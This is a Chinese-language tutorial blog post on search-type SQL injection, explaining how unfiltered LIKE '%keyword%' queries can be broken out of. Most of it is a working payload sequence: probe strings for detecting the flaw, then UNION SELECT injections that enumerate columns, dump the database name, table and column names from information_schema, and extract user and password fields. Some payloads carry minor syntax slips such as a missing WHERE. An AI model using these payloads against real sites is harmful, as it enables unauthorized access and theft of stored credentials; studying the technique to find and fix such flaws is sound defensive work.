SQL注入——搜索型注入

搜索型注入原理

語句如下:SELECT*from database.table where users like ‘%要查詢的關鍵字%’。這裏“%”匹配任何字符,“like”的意思就是像。比如我們在搜索框輸入關鍵字“李”,那麼SQL語句就變成了SELECT * from database.table where users like ‘%李%’,意思就是查詢users列裏的帶有關鍵字“李”的數據。
如果我們在輸入關鍵字的時候不是輸入的關鍵字“李”,而是精心構造的SQL語句,並且對於輸入的關鍵字也沒有過濾,那麼注入就形成了。
例如我們在搜索框輸入 李%‘and’1’=‘1’ and%’=’
SELECT * from table where users like’%李%‘and’1’=‘1’and’%’=’%’

搜索型注入語句構造

判斷是否有注入漏洞

Url 地址中輸入 www.xxx.com/abc.php?users= 1‘ 報錯,說明很有可能存在注入漏洞
Url 地址中輸入 www.xxx.com/abc.php?users= 1% 報錯,說明特別可能存在注入漏洞
Url 地址中輸入 www.xxx.com/abc.php?users= 1% ‘and 1=1 and ‘%’=’ 正確
Url 地址中輸入 www.xxx.com/abc.php?users= 1% ‘and 1=2 and ‘%’=’ 錯誤
根據上面兩條語句判斷是否存在搜索型注入。
以下幾種語句都可以
‘and 1=1 and ‘%’=’

%’ and 1=1–’

%’ and 1=1 and ‘%’=’

查詢語句

判斷字段數:
%’ order by 1 and ‘%’=‘
判斷字段顯示位置:
%’ union select 1,2,3,4,5 and ‘%’=‘
爆庫名:
%’ union select 1,2,(select database()),4,5 and ‘%’=‘
爆表名:
%’ union select 1,2,(select group_concat(table_name) from information_schema.tables table_schema=‘database’),4,5 and ‘%’=‘
爆數據:
%’ union select 1,2,(select group_concat(column_name) from information_schema.columns table_schema=‘database’ and table_name=‘table’),4,5 and ‘%’=‘
爆字段:
%’ union select 1,2,(select group_concat(id,0x3a,user,0x3a,passwd) from database.table),4,5 and ‘%’=‘

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章